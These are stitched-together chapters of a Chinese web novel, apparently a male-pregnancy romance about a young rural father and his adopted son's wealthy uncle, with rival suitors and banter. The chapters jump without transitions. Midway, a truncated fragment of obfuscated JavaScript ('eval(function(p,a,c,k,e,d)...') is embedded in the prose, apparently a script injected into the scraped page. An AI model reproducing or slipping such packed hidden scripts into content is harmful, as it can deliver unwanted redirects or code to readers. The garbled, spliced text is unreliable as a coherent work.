可是他却收了岭生的钱。 “那不一样。”江之遇诚诚恳恳区分道,“我带昭昭去找你们,是想帮他找到真正的家人,不是图你们的钱。但是霍少爷支付我的学费是我劳动获得,是我自己挣的。” 倒是分得挺清。 还是一贯地倔拗。 谢津延紧拧的眉峰舒展,阴鸷神色敛去,心中刚才冒出来的那丝酸楚也瞬时烟消云散。 他把装着被男人妥帖收在精致小木盒的袖扣揣进西裤兜里,跟着男人出了工具屋。 谢寻昭白天晚上刻苦学习,再次回到养父这里,别提有多开心惬意了。 “爸爸,你都不知道我为了见你,有多努力。” “有多努力?”江之遇把清洗干净的一盘水果端到桌子上,摸了摸养子的脑袋。 谢寻昭一边吃着养父自己种植的酸酸甜甜,咬一口汁水爆满口腔的小番茄,一边细数道:“数学、语文、外语、陶艺……晚上回来还要学习马术和剑术。” “马术和剑术不是周末才学吗?” 江之遇知道他们这些豪门大家的小孩学的东西一直很多,可他记得昭昭上次说那些课外拓展活动是放在周末的。 谢寻昭点点头:“对啊,以前是放在周末,可现在小叔叔告诉我,如果平时练习完,我就可以每个周末来见你,是不是啊,小叔?” “咳。”谢津延掩唇,面上掠过一抹不自然,“你们父子俩感情真好。” 江之遇愣了愣,随后反应过来昭昭说的是以后每周都可以来看他。 他先是有些意外,很快心头就充盈上一种喜悦。 就好像西边沉没的烟霞在第二天清晨变成朝霞升起,谢了的春花重新绽开。 以至于江之遇一时忘了陪养子一同过来的还有他定下协议再也不要与之牵扯的昭昭小叔。 他开心地收拾着房间。 临洗漱的时候,才想起一件事。 “你今晚还要睡在这里吗?”江之遇不确定地望着眼前似乎并没有离开意思的身影小声问了句。 谢津延放下手中跟小侄子一起解的数独:“我在你这里住得比较习惯,不想麻烦乡长。” “才住了一个晚上就说习惯……”江之遇咕哝一声,没再问,默默去收拾另一间卧室,“那还住昭昭的房间吧。” “他这么大的孩子了,还要一直黏着你吗?不能自己一个人一间房?”谢津延问出上周没问出口的疑惑。 江之遇一怔:“那不然呢,家里就两个房间,他睡自己的房间,你睡哪里?总不能让我和你一起睡?” 谢津延:“……” 看不见的地方,谢津延没注意到自己耳尖爬了层热意。 他只觉得这一刻心跳加速了下,有血液在往心头和脸上涌。 在酒店那个被雪沫一样的天光铺亮整间房的清晨,谢津延看男人旁若无人的动作时,就注意到了。 这个男人好像在某些方面有种难以言说的迟钝。 在自己家当着自己的面换衣服时,也是一点防备的心理都没有。 常常让人招架不住。 现在这样的想法又来了。 谢津延压制住心中的燥意,喉咙有些干:“我只是觉得昭昭现在是个八岁的男孩了,不应该这么黏人,我们家的男生像他这个年纪早就独自睡一间屋子了。” 江之遇:“那这样的话就只能你和我睡,可我不想和你睡,不然你又要戳我了。” 谢津延:“……” 没想到这个男人还耿耿于怀这件事。 谢津延也冤枉,被那样一颗毛茸茸的脑袋窝在怀里,小猫一样蹭着,他是个正常的男人,没有反应才不正常。 只是这次他没再辩驳。 第一次好脾气的:“行,我以后就睡昭昭那屋,我说了,我对男人没兴趣,那天晚上纯属生理反应,你就当我欲.火大,以后不会再那样了。” 江之遇听他说自己那方面需求大,身躯一僵,随后脸颊上快速蹿出一抹红晕,把身背过去不再同他讲话。 收拾好屋子,铺好床,到底还是从收纳箱里取出一支驱虫香给他点上。 之后,就快速离开了昭昭房间。 谢津延望着他小兔子一样受惊逃窜的身影,面上终于露出不解。 他这是又怎么了把这个纤细钝感的男人吓跑了? 晚上因为一支缭绕着草木清香的驱虫香,尽管满腹疑惑,谢津延最后还是在散发着洁净清香的床铺上,还有窗外悦耳的虫鸣中沉沉睡去。 一夜好眠。 第二日清晨,他在清脆的鸟叫声中醒来。 细雨过后是异常清朗明净的天气。 天空一碧如洗,微风缓缓带动一朵白云。 谢津延换好衣服从小侄子的房间出来后,发现男人果然又已经早起,做好了早饭。 这个人真的勤劳、朴实,耿直,作息也规矩。 很早睡,早早起。 谢津延自认自己很是自律,平日有早起锻炼的习惯,可是发现这个男人更加自律,准确来说,他的生物钟很准时。 严格遵循日出而作日入而息的传统定律。 谢津延洗漱完在桌前坐下,不知是不是自己的错觉,总感觉男人落在自己身上的目光有些小心翼翼。 还往他下面看了一眼。 谢津延面上表情怔愣一瞬,好像有些明白昨晚他为什么跑那么快了。 他那样说是为了让他知道自己不是个碰一下男人就发情的变态,没想到被对方曲解,让自己现在看上去更像变态了。 谢津延面色沉郁。 在木桌前坐下。 早餐是男人用小米熬得香浓黏稠的小米粥,给他和昭昭一人卷了个鸡蛋饼,还有一笼屉虾仁蒸饺,还有一盘清洗干净的水果。 谢津延从上周吃了男人做的那碗西红柿鸡蛋面后就知道男人做饭很好吃。 这里的一切都纯天然无污染,鸡蛋是他散养的鸡下的,蔬菜瓜果都是院子里的小菜园他亲手种植的。 吃起来有一种十分满足口欲的爽口和清香,是家里的厨师做不出的味道和感觉。 他吃完,慢条斯理擦了擦嘴,拿出手机。 “把你的收款码给我一下。” “嗯?”江之遇愣了愣,从餐桌前抬起头,“为什么要让我把收款码给你?” 谢津延语气平淡:“我从上周开始就吃你的住你的,所以要把住宿费和伙食费转给你。” “不用。”江之遇才明白过来他说的是这样的事情,顿了片刻,继续吃自己的早饭。 “你是昭昭的小叔,没道理在我这住了两晚就要收你的钱。” “你也说了我是昭昭的小叔,不是你什么人。”谢津延黑眸垂敛,修长手指划开手机屏幕。 “我带昭昭来乡下找你,是因为他很想你,我陪他看望他的养父,没有别的目的。我这个人一向公私分明,有来有往,不喜欢白吃白蹭别人,这是我应付的。” 江之遇听了他的话,眼眸微微睁大。 这话怎么这么像昨晚自己向他解释为什么不收谢老夫人和谢老先生的钱,而要收霍少爷的钱时说的话? 他一下子有些踌躇,纠结着要怎么应对。 谢寻昭拉了拉养父的衣角:“爸爸,小叔要付住宿费和伙食费你就让他付吧,反正他有钱。” 江之遇犹豫了一下,见男人不像是说笑的样子,一脸正色,最终拿出了手机,找出收款码。 “叮咚”一声,到账提示音响起。 江之遇看向自己的手机屏幕:“十万,这么多?” 谢津延神色如常,语气听不出起伏,淡淡道:“我认为让我觉得住得舒适和吃得舒心的地方,物超所值。” 江之遇:“可、可是,” 还是太多了,就一间小朋友住的小房间,床是他用山上的木头做的,床单被褥也是从山那边的集市买的柔软舒适但平价的。 还有他吃的这几顿饭。 鸡蛋是自己养的鸡下的,西红柿和黄瓜也都是自己种的,卖都卖不了几个钱。 “还有,还有……” 他磕磕绊绊解释。 谢津延平静道:“现在人工费和纯天然的产品才是最值钱的,还有能够提供情绪价值,让人保持身心愉悦的自然环境。” “如果换做一家顶级酒店的运营,稍一营销,可能会更贵。” 江之遇迷茫眨眨眼,像是有些被他说服。 谢津延:“把你好友添加二维码也给我,昭昭以后可能会常来你这里,我先加一下你的联系方式,这样以后有打扰你的地方比较方便转账。” 20.第 20 章 江之遇听到他答应签字了,脸上表情先是一怔,随后落进五彩斑斓灯光的瞳仁舒展,漾出谢津延从未见到过的幸福满足的笑。 谢津延眉峰微微凝住。 江之遇开心过后又将眼眸睁大,向他确认着问:“你说的是真的吗?你答应在这份协议上签字了?” 谢津延垂眸看他,揽着他的手臂并未松开,沉沉应了声:“是。” 太好了。 江之遇琥珀般漂亮的眼眸笑意再次漾起,已经开始在脑海里构想和宝宝一起生活的美好画面了。 一想到以后他可以和宝宝在乡下过着无人打扰的幸福生活,不会有人影响他们,他就开心的不得了。 不过他没有失去警惕,用商量的语气道:“还是先签吧,签完协议我就跟你回去。” “先回去再签。”谢津延嗓音浮出一丝暗哑,幽深眼眸晦暗不明,倒映着他刺眼的笑意。 江之遇便把身体从他温热的怀里挣出来,雨水洗刷了所有的气息,男人身上的木质沉香却在鼻尖越来越浓。 “那我不跟你回去了。” 他一副说到做到的架势。 事实上,也确实像他能做出的事情。 谢津延长久陷入沉默。 最终拿起笔在所谓的协议单上签下自己的名字。 “就这样……签了?” 祁焰追着两个发小从包厢楼梯上下来的时候,隔着一扇窗,恰好看到酒吧屋檐下这一幕。 雨仍旧噼里啪啦往下落,手臂上搭着西装外套的黎清叙眼里也闪过一丝意外。 “阿延这个渣男,人家让他签他就签,把人家搞怀孕了还真不打算负责是吗!” 祁焰一脸愤懑,为自己这个小群体中出了这样一个渣男而感到愤愤不平。 可怜的老实美人。 亏那些长辈还说阿延性格沉稳,是值得托付的男人。 现在看来,都是表象! 他们当中最禽兽的竟然不是老黎,而是阿延! 倒是霍岭生嗓音淡淡的:“这样也好,杜绝掉不必要的麻烦,免得以后留下隐患。” 祁焰咋舌。 不是佛门中人最慈悲吗? 怎么他这个发小在寺庙里修得越来越无情。 三个人对于眼前一幕都各有各的心思。 两束长灯划破雨幕远远照了过来。 车身漆黑稳重的迈巴赫在酒吧门前停下,谢津延的专属司机打开车门,从车门侧方抽出一把黑色的长柄伞。 “谢总,当心淋到雨。” 司机把伞撑开,走到酒吧门前的屋檐下。 谢津延松开自己的臂膀,示意把伞移过去一些。 他好像真的要带自己去他的居所。 江之遇这才意识到眼前这个男人并不是随口说说而已。 “其实……也不一定非要去你那里换身衣服,等坐上车,在车厢里捂一捂衣服就干了。” “你想把孩子生下来就这样不在意自己的身体?”谢津延神色复杂地瞥一眼他怎么吃也长不胖的单薄身形。 “还是,你找我签协议期望我信守诺言,你自己却为自己刚答应的事情反悔?” 江之遇一愣,脸一点一点涨红。 随后抬手不自觉捂了捂自己的肚子。 “我跟你回去就是了。” 他在司机撑着的雨伞下上了车,全程身上没有淋到一丝雨,只布鞋踩到争先恐后涌向排水管道的积水上,洇湿了几分。 “看来阿延还没有渣到不可救药,签了协议后直接把人扔到路边。”祁焰正拿着手机给自己的司机打电话,看到这一幕感慨一声。 “不过这样的话,也许我可以护送美人回去。”他说着,嘴角咧开,露出令无数粉丝疯狂的太阳般绚烂无比的帅气笑容。 美人土了些,长得倒真是戳他审美上。 “把你龌龊的心思收一收。”黎清叙慵懒挑了下眉梢,视线追随着漆黑的车身在茫茫雨幕中飘远,“朋友妻不可欺,你也不想被我们所有人唾弃吧。” “说的也是。”祁焰不免失望地耸耸肩,“我们才不是那么禽兽的人,都应该跟岭生学学什么叫清心寡欲。” 霍岭生懒得理他,撑起黑伞走进雨中。 雨声喧嚣。 豪车内却像是隔绝出另一方天地,除了急速打在车窗又快速被雨刷刮去的雨珠昭示着雨势的丝毫不减,根本感受不到外面是一个疾风乱雨的世界。 江之遇是第一次坐上昭昭小叔的专属车辆。 住在谢家的那段时间,每天早上,他都会从阳台上看到这辆车从庄园驶离。 车内静谧无声,萦绕着淡淡清新好闻的气息,混合着男人身上的木质沉香。 然而静谧私密的空间却让江之遇感到有些不安局促,手和脚都不知道往哪里放。 修长手指就是在这时出现在眼前,男人递过来一张质地柔软的薄毯,面色冷峻道:“用它擦擦,免得着凉。” 江之遇讷讷接过。 他用薄毯擦去刚才车辆疾驰而过溅到身上的水珠。 其实并没有溅到太多。 在那一瞬,他被眼前的男人一把扯入怀中,温热掌心扣上头顶,江之遇只听到一记有力的心跳和喧哗的水声。 “谢谢。”他小声说了句。 男人没再同他说话,只侧眸神情不明地盯着车窗外。 半个小时后,车辆驶入中心城区一个别墅群里。 不同于半山视野开阔的谢家庄园,这里周遭高楼林立,商业气息浓厚,能一眼看到不远处矗立着的谢氏集团地标大楼。 然而这座别墅园却闹中取静,在城中心开出一方寸土寸金的僻静之所。 江之遇看车辆在一幢纯白墙身,门和窗都是黑色式样的造型简约典雅的二层独栋别墅前停下。 院落里花木清新,不知名的藤蔓花树伸展枝桠攀爬上黑色的栏杆,和色彩艳丽的花朵一起中和掉了黑色栏杆和黑色窗棱的冷淡。 灯火一般的橙色灯盏就在这一瞬亮起,屋檐下,客厅中。 像是在漆黑雨夜升起的几丛萤火,眼前的世界一下子温馨起来,和江之遇预想中昭昭小叔的住所有些不同。 司机把车停入车库,昭昭小叔交代了司机几句什么,司机又驱车驶离别墅。 江之遇跟在昭昭小叔身后进了别墅。 谢津延一进门便走向卧室:“你先等一下,我去给你找身干净的衣服换上。” 江之遇便拘谨地站在客厅光洁的地板上等他,目光悄悄打量这个地方。 很奇怪的感觉,像是不小心闯入这个男人的私人领域,因为在之前借住在谢家庄园的那段时间里,江之遇都是和他们一大家子人住在一起。 这是第一次见到昭昭小叔的私人住所。 不同于男人给人的冷漠疏离、不近人情的高冷感觉,他的住所却是温馨,暖色调的。 洁净的地板,浅色系的沙发,料理台像是被奶油刷过,屋子里处处透着柔和的晕角。 江之遇很是意外。 随后又注意到客厅一侧有处和整幢别墅,准确来说是和昭昭小叔的冷淡性格有些不相符的所在。 他走近一看,才发现好像是个玩具房。 那里有滑梯、树屋和摇摇马,还有一排书架,上面摆了许多童话故事书和儿童绘本。 另一侧的玻璃阔台上,则摆了一架超大的航空母舰乐高模型。 军舰细节真实丰富,上面停靠了许多架小型飞机。 就是遗憾,这艘军舰没有拼完。 江之遇好奇地打量这一角,怎么也没有想到昭昭小叔的私人住所里会有这样一个地方。 这时,男人从卧室里走出来,看到他定定地站在军舰模型前,声音低敛道:“那是昭昭走失前给他打造的玩具屋,我大哥大嫂有时候过二人世界不想带孩子就会把昭昭扔到我这里。” 他说这话的时候有一种不易察觉的淡淡忧伤。 江之遇转头问他:“那这艘军舰也是你们一起拼的吗?” “嗯,还没拼完他就失踪了,我大哥大嫂后来也……” 这是一段悲伤的往事,虽然文中只是只言片语,像是为了给身为男主的昭昭制造一个凄惨的身世。 然而当身临其中,江之遇才知道它们带给身边亲人的打击有多大。 谢老夫人去寺庙烧香拜佛整整三年,谢老先生经此打击一直避居后山。 江之遇住在谢家的时候只偶尔听谢老夫人提起大儿子和大儿媳,不过也不愿多说,怕触动伤心事。 这还是江之遇第一次从昭昭小叔的口中听到这些过往。 也是第一次在男人脸上看到一种类似于低落忧伤的情绪。 他目光再一次落在那些玩具和没有拼完的军舰上,想说些什么,缓和因自己的好奇带来的低落气氛。 男人出声道:“先去把衣服换了,你这样容易着凉。” 江之遇张了张嘴巴,只好拿着他的衣服去了浴室换上。 和上次赵管家找的那件一样,昭昭小叔的衣服比他大了一号,穿在身上松松垮垮的,但布料十分贴肤舒适。 江之遇一换好衣服就揣着签了字的协议书问:“我是不是可以走了。” “你几点的车?”谢津延抬腕看了眼时间。 “九点半。”江之遇翻出自己的订票信息,再次确认自己没有弄错时间。 就听眼前男人直截了当道:“赶不上了,从这里到你发车的地方要一个小时,现在已经八点二十分了,雨下得正大,路况不好,到那里会用更长的时间。” “那怎么办,我要赶不上车了。”江之遇一听赶到车站要花这么长时间,有些慌张,“早知道我不和你来你这里了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等他好不容易抓住玩偶,把它紧紧抱住,玩偶的身上忽然着起火来。 灼热的火舌猝不及防燎到他皮肤上,烫得他的手火辣辣地疼。 江之遇一下子被烫醒了。 醒来,外面的雨已经完全停了,窗帘缝隙透进一丝光亮,看样子天也亮了。 原来他只是做了一个离奇的梦。 就说玩偶怎么会自己跑,怎么也抓不住,还突然浑身着火,险些把他烧伤。 江之遇在心里舒了一口气。 随后注意到那种被火舌舔舐的触感依旧在,还有点其他怪怪的感觉。 他疑惑了一下,抬起眼。 漏进一丝天光的卧室里,昏蒙光线将昨晚临睡时黑沉沉的屋子照出朦胧的轮廓。 借助这样的轮廓,他看到自己不知什么时候和昭昭小叔抱在了一起。 男人胸膛结实悍利,贴在脸上硬邦邦的,揽着他的手臂也青筋起伏,和他穿着西装时俊逸矜贵的模样完全不符。 江之遇呆了呆,不知道临睡时用被子隔开的两人怎么会抱到了一起。 不过,这不是他此刻关注的重点。 江之遇在意的是,虽然玩偶突然烧起来差点把他灼伤是一个梦,但是抵着他的滚烫却是真实的。 换作以前,江之遇不觉得有什么,男人嘛,有点反应是正常的。 可当他知道这是个男人可以和男人在一起的世界,甚至男人还可以生孩子,他自己亲历过那一遭。 江之遇再没办法忽视,当这是根普通的树棍。 “不是说对男人没兴趣吗,怎么还会站起来……” 江之遇小声嘀咕,隽秀的脸上飞来一抹红晕。 顾不得等昭昭小叔醒来让司机送他去车站,悄摸从床上溜下自己打车快速离开了这里。 所以当谢津延醒来的时候,看到床的另一侧空空的,又掀开被子看了眼自己,脸色顿时以肉眼可见的速度变得难看。 他从床头摸出手机准备问男人去哪里了,这才发现他到现在还没有这个男人的联系方式。 谢津延只好打给宋秘书。 没多久,宋秘书那边回话:“谢总,江先生说他已经在火车上了,以后不会再来北城找您,让您也遵守协议以后不要打扰他们。” “谢总,冒昧问一下,你们怎么了?我听江先生的语气好像不太对劲。” 宋秘书是为数不多知道两人事情全貌的人,昨天也是他向江先生提供的上司信息,毕竟怀了自己顶头上司的孩子这种大事不是他能轻易处理得了的。 谢津延脸色阴沉得厉害,起身走进洗浴间。 “没什么。” 他挂断电话,打开淋浴往身上浇冷水。 跑这么快是吧? 50-60 第51章 第 51 章 像鬣狗一样全都缠了上来…… 江之遇不懂昭昭小叔为什么突然执着起锁门和不锁门的问题。 不过他们没在这个问题上纠缠多久, 因为昭昭小叔看上去并不打算说明缘由的样子,他便没问。 吃过早饭,昭昭小叔就乘坐直升飞机走了。 临走前照常叮嘱自己离他的那几个朋友远一些, 这几天他们几个有可能会频繁来找自己, 如果他们要蹭饭, 记住一定要收钱。 不能让他们白吃白喝。 当然, “你最好把门关上, 连进来都不要让他们进来。” 江之遇听他最后似是咬牙说了这样一句。 怎么有点像童话故事里兔妈妈交代兔宝宝防大灰狼一样, 难不成他这些朋友会进来自己家里把自己吃掉吗? 江之遇带着这样的疑惑望着直升飞机消失在遥远的天际。 随后关上门回到屋子里,日常给小菜园锄草、浇水,给鸡圈里的鸡喂食。 家里现在又多了一只垂耳兔。 经过几天的适应, 十一好像比一开始放开许多,状况逐渐稳定下来, 开始适应这个新家了。 江之遇帮它换水, 换食物,打扫便盆, 它不再是之前那样一副随时都会受到惊吓然后缩在兔笼角落的样子了。 江之遇想, 或许过了一段时间就能把它放出兔笼, 让它去院子里玩了,它应该会喜欢外面的环境。 照料完兔子,他翻开霍少爷留给他的那本古籍书,尝试里面一个新的技法制作。 敲门声就是在这时响起。 江之遇放下手中的木料走出工具室。 打开院子里的门,看到门口站着个风度翩翩的身影, 捧了束和那晚一样纯白漂亮的玫瑰花。 “昭昭养父, 阿延走了吗?”黎清叙探头往屋子里看进去一眼,虽说是盯着直升飞机飞走的,但还是确认一下。 阿延这狗东西占有欲太强了, 除了孩子的生父根本什么都不是,却一副圈住领地随时咬别人一口的看门狗模样。 江之遇不明白这位黎少爷为什么又捧了花过来,只点点头:“他已经走了,你是找他有什么事吗?” “没有。”黎清叙扬起斯文迷人的笑意,“我只是来问问你,家里有没有需要我帮忙的地方,还有,上次的故事没有讲完,我有一套适合孕期锻炼的孕夫操和胎教方法,你要不要试一试?” “孕夫操?”江之遇疑惑。 黎清叙笑了笑:“怀孕期间不能大幅度动作,但是适当的运动不仅可以保持身体健康,还能够帮助缓解孕期的一些不适,也可以让宝宝在肚子里更加健康地成长。” “是吗。”江之遇第一次怀孕,不懂这些,不过晚上临睡前翻看昭昭小叔带来的那本孕百科全书好像确实提到这一点。 他在犹豫要不要让黎少爷进来。 一道阳光开朗的声音在这时传来:“老黎,你这么兄弟情深的吗?放着公司的事情不做,一大早跑来这里教好兄弟小侄子的养父孕夫操。” 黎清叙斯文面庞上的笑意凝滞一瞬,转过头,就看到他那个傻狗一样的发小顶着张夺目帅气的脸状似惊讶地走到小院门前。 好事又被打搅。 黎清叙努力稳了稳面部的笑意,语气和煦道:“你都说了是好兄弟,阿延不在,昭昭养父又是怀着孕一个人在家,我好歹学过医,帮忙照看一下是应该的。” “那你这个孕夫操也要手把手教吗?”祁焰凑到他身边疑惑问了句。 黎清叙面上掠过心思被戳中的异样,同时注意到“也”,眯眼笑了笑:“怎么,还有谁手把手教过什么?” “倒是没有,但被手把手教过。”祁焰眨眨眼。 黎清叙挑眉:“谁?阿延?你该不会在说你自己吧?” “也不是我。”祁焰后来回想在工具室看到的那一幕,真是羡慕岭生,美人香香的,靠那么近教他,又能摘荷叶又会徒手甩蛇的手就这样覆在他手上。 不知道是怎样的触感。 祁焰怔惘了一秒。 随后又扬起绚烂的笑脸,看向门扉后的人:“之遇哥,我们的宣传活动这两天就开始了,我打算先拍个预热Vlog,可不可以借你的小院用一用?” “你是说要在我家拍视频吗?”江之遇理解了一下他话里的意思。 祁焰点点头,语气十分真诚:“因为我觉得你的小院打理得很漂亮,想从这里切入视角,粉丝们一定会感兴趣,到时候我再拍摄一些溪源乡其他的地方,风土人情,说不定就能激起大家对这里的好奇心了。” “那、那好吧。”江之遇昨天听他们说过要来这里做宣传,像祁少爷这样的大明星,愿意来乡下义务做宣传是很难得的一件事。 昨天晚上乡长也在乡民群里发过公告,要这段时间大家配合好祁少爷。 江之遇作为溪源乡的一份子,自然没道理拒绝,他也挺想大家的生活过的富裕起来。 他打开门,让祁少爷进来。 黎清叙挑了挑眉梢,注意到这座平时不怎么关门的小院今天一直紧闭着门,眼前的男人刚才还一脸警惕地望着自己,虽然疑惑,却没有要让自己进去的意思,一定是阿延背后又说了什么。 可是这会儿,却让祁焰这小子轻轻松松踏进门了。 黎清叙心中略有些不爽,但也就机跟了进去,更加确信这次回去给溪源乡捐一座医院。 “咦,你这花是干吗的?送给之遇哥的吗?”祁焰望了眼他手中的花束,疑惑道。 黎清叙就把花捧到漂亮男人面前,没理他:“早上专程空运过来的新鲜花束,插在你屋子里的花瓶正好。” 还真是送给之遇哥的。 祁焰惊讶了一下,没想到黎清叙这么大胆,竟然堂而皇之地给之遇哥送花,阿延一走就迫不及待地过来撬墙脚。 果然是他们当中最不要脸的。 可是……好像阿延也不算之遇哥什么人吧? 祁焰又想到什么。 像岭生说的,阿延和之遇哥只是有一个孩子而已。 完蛋,他怎么也被他们带得不道德了。 竟然觉得这样有背世俗良序的事情没什么。 但阿延不是确实只和之遇哥只有一层孩子和生父,小侄子和养父的关系吗? 祁焰嘀咕。 不管了,先拍Vlog吧,反正阿延不在,他有一整天的时间待在之遇哥这里,说不定还能找到机会和美人贴贴。 他好想再近距离闻闻之遇哥身上淡淡的草木清香的气息。 怎么会有男人身上这么香,这么好闻呢? 他第一眼看到这个男人的时候竟然还以为他是个空有漂亮脸蛋的无趣的土美人。 屋子里两人各怀心思。 江之遇不知道他们心里都在想什么,只是看着黎少爷送来的玫瑰花,尤其听他说的,还是早上空运过来的。 他拒绝道:“这花我不能收,谢谢你的好意,你拿回去吧。” “为什么,是不喜欢吗?”黎清叙很少有被拒绝的时刻,昭昭养父每天都会换屋子里花瓶的花插,上次的花也收下了,怎么这次就不要了? 黎清叙现在更加确信阿延一定是在背后说什么了。 江之遇:“我只是觉得不合适,你留着送给心爱的女孩子吧,还有,空运过来一束花太浪费了,你以后不要再这样了。” 黎清叙:“……” 黎清叙面上流露出和谢津延那晚同样的疑惑。 怎么他送玫瑰花就和心爱的女孩子联系到一起了。 黎清叙想说,我没有心爱的女孩子。 虽然他确实认为男人的身体构造硬邦邦的,对男人没兴趣。 可当初用仪器给眼前这个男人做产检的时候,黎清叙握着探头在男人的肚皮上摩挲,视线落在白嫩的软肉上。 他就在想,这具身体抱上去是什么感觉,是不是也会和肚子上的软肉一样软乎乎的。 真是便宜阿延了。 他弟弟下的药竟然让阿延占了这么大的便宜。 “哈哈哈哈哈。”祁焰忍不住大笑了起来,一把抢过他手中的花,“你竟然也有这样的时候。” 从来没有人能拒绝黎清叙这花狐狸一样风度翩翩的攻势,常常一个笑,三言两语就能迷得那些小男生和小女生晕头转向。 虽然这家伙没正经谈过一个男女朋友,可招惹人的事确实没少做。 居然有人就这么把他给拒绝了,像当初阿延被找上门签断绝关系的协议一样。 真是报应! “我看你还是别白费力气了,之遇哥显然不喜欢你,而且确实挺浪费的。” 祁焰把花塞进这位试图撬墙角却碰了一鼻子灰的发小怀中。 黎清叙斯文面上的表情有些难看,却还是笑了笑,对昭昭养父:“好,你要是不喜欢我这样,觉得浪费,那我下次不空运了。” 祁焰就无语,还真是会曲解他的话,什么叫不喜欢他这样,之遇哥分明对他这个人一点意思都没有,像对阿延一样! “你回去吧,我要拍视频了。”祁焰不想这个发小打扰自己好不容易制造的和美人的二人世界。 黎清叙笑了笑:“就算阿延在,都没有理由随意替昭昭养父拒客,你又是什么身份?” 祁焰:“……” 江之遇觉得很纳闷。 他一直以为只有昭昭小叔在对上他们其中一个或几个朋友时,会有一股莫名紧张的硝烟味。 怎么昭昭小叔不在,换了其他人,还是会有这种怪异的感觉。 他对祁少爷说:“那你随意拍视频吧,我要去做木活了。” 祁焰扬起绚烂的笑容:“谢谢之遇哥。” 接下来,江之遇回到了工具室里,任祁少爷在院子里拍来拍去。 忽然,一个视频通话打了过来,竟然是昭昭小叔的。 自从两个人加了联系方式,他们两个人只在线上交流过,准确来说是昭昭小叔单方面给自己发消息,多是和转钱有关。 他始终恪守着吃自己的喝自己的一定要转账的原则,江之遇就随他了。 除此之外,这个联系方式没有别的用途。 但现在,他竟然会给自己打视频通话。 江之遇很是疑惑,按下接听按钮接通视频,就看到男人一张俊逸帅气的脸出现在镜头里。 应该是在公司会议室,江之遇透过一小方手机屏幕的对话框看到他身后的投影仪,还有桌面上的各种文件。 江之遇问他怎么了,怎么会突然给他打视频通话。 谢津延意味不明道:“我的袖扣好像又掉你那里了,有一份文件好像也落在了床头,你帮我看一看是不是在那里。” 江之遇心道原来如此。 他起身走出工具屋,没有挂断视频通话。 走到堂屋,听男人问道:“刚才院子里的是祁焰吗?” 江之遇望向外面在葡萄藤下自拍的祁少爷,嗯了声:“他说要来拍宣传视频,从我这里切入视角,再拍一些溪源乡其他的风土人情。” “我就知道。”谢津延流畅的下颌线绷紧,似是一字一顿从牙缝里挤出这句话。 江之遇看着他骤然沉下来的脸色,想起他临走前叮嘱自己的话,踟蹰道:“……我也不是故意让他进来,乡长昨天发了公告让我们配合他。” “其实……”江之遇犹豫了一下,小声问出一个心中疑惑很久的问题,“你一直让我不要靠他们太近,像是在防着他们什么,还有你自己,哪有自己说自己不是好人的?” 谢津延默了默,隔着手机屏幕看他疑惑的眼眸,昨晚那种在暗夜里看他睡颜时巨大的寂寥的空虚和空洞又填满心头。 他盯着眼前的人,往椅背上靠了靠,最后无奈扯了扯唇角,似是自嘲一样:“你不懂,他们看你的眼神和我看你的一样。” “你看我什么眼神?”江之遇更纳闷了,与此同时感觉到男人像是在压抑着什么,一双漆黑的眼眸盯着自己,像是能把自己从手机屏幕这头拽进他那里一样。 然后吸附进一个深暗的洞底,被无数藤蔓缠过。 他疑惑他说的这样一句奇怪的话。 而这时,那边传来宋秘书的声音,似乎是有什么重要的事情。 通话就此挂断,江之遇没能听到他对这句话的解释。 “是阿延吗?”在江之遇怔怔地放下手机时,祁少爷的声音响在自己耳边。 江之遇讷讷道:“嗯,他好像有份文件落在这里了。” 还有袖扣,怎么又掉下了? 江之遇便去昭昭的房间看了一眼,果然看到床头昭昭以前写作业的书桌上放着份文件。 还有袖扣,他最后在堂屋方桌的椅子底下找到的,还是两颗,都掉在了地上,他早上打扫的时候居然都没有注意到。 “真的不是故意的吗?”祁焰和黎清叙看他将两枚袖扣小心收纳好,都忍不住嘀咕了声。 黎清叙笑:“怕不是查岗吧,真是疯了,之前还只是忙完才过来,现在在公司都忍不住了,防我们跟防贼似的,我又没做什么?真是心机和心眼都用在了自己的兄弟身上。” 祁焰倒没在意这些,只一眨不眨盯着美人的动作,像极了丈夫出门在外,有遗落的东西,妻子帮忙整理。 他真好啊。 又漂亮,又能干,又特别,还这么细腻贴心。 祁焰从来没想过婚姻的事情,和岭生那种被家里的脏事恶心到对感情之事一点兴趣都没有不同,他自己是打算为梦想献身的。 偶像怎么能心系粉丝以外的人呢? 可现在,祁焰满脑子都是结婚,结婚,结婚。 他也想被之遇哥这样对待。 祁焰晕晕乎乎的。 脑海里连婚礼的场地,甚至之遇哥肚子里宝宝的名字都想好了。 不知道他父母介不介意他养别人的小孩。 他妈妈是外交官,思想一直都很开放,包容心也强,应该不会不同意吧? 所以,当霍岭生再度踏入这座小院的时候,就看到自己的两个朋友其中一人呆滞着一张脸,一副痴痴傻傻的模样,不知道在想什么。 另一个笑的很是牵强怪异。 他蹙了蹙眉:“你们在干什么?都跑到别人家里做什么?” 祁焰被这道冷的像千年寒冰一样的声音激得浑身一个激灵,梦一下子醒了,脸上呆滞涣散的表情也一瞬褪去。 “我来拍宣传视频。”他早就把理由想好了,几乎是没过大脑就脱口而出。 黎清叙倒丝毫没有心虚的样子,反而笑了笑问:“怎么,你又要当审判长了?” 不等对方有所回应,又劝说的口吻,“不过我看你还是赶紧离开这里比较好,免得被误会有什么,你是不知道阿延刚才打电话过来查岗,生怕我们趁他不在怎么了。” 霍岭生听到这句,眉头更深地皱了皱。 他没理会黎清叙,瞥了一眼拿起手机装模作样拍拍拍的祁焰,随后看向许久未见,昨天还没有来得及说上一句话的男人。 他好像没有注意到自己的到来,正握着手机似乎在和什么人发消息。 江之遇怕遗落在自己这里的是重要的文件,找到后第一时间回拨电话给昭昭小叔,可是对方没有接听,估计在忙什么重要的事情。 他又打电话给宋秘书,宋秘书也没有接,可能也在忙。 江之遇就只好给他们两人都发消息留了言,问文件要怎么处理。 过了有一段时间,才收到宋秘书的回信,说不是特别紧急,晚点会有人过来拿。 江之遇便舒了一口气,按下手机屏幕抬起头,这才发现自己的屋子里不知什么时候又多了个人,昭昭小叔的三个朋友都聚集在了自己的屋子里。 最后一位正是回了一趟北城,不再在山寺清修,而是接手家业化身霍总的霍少爷。 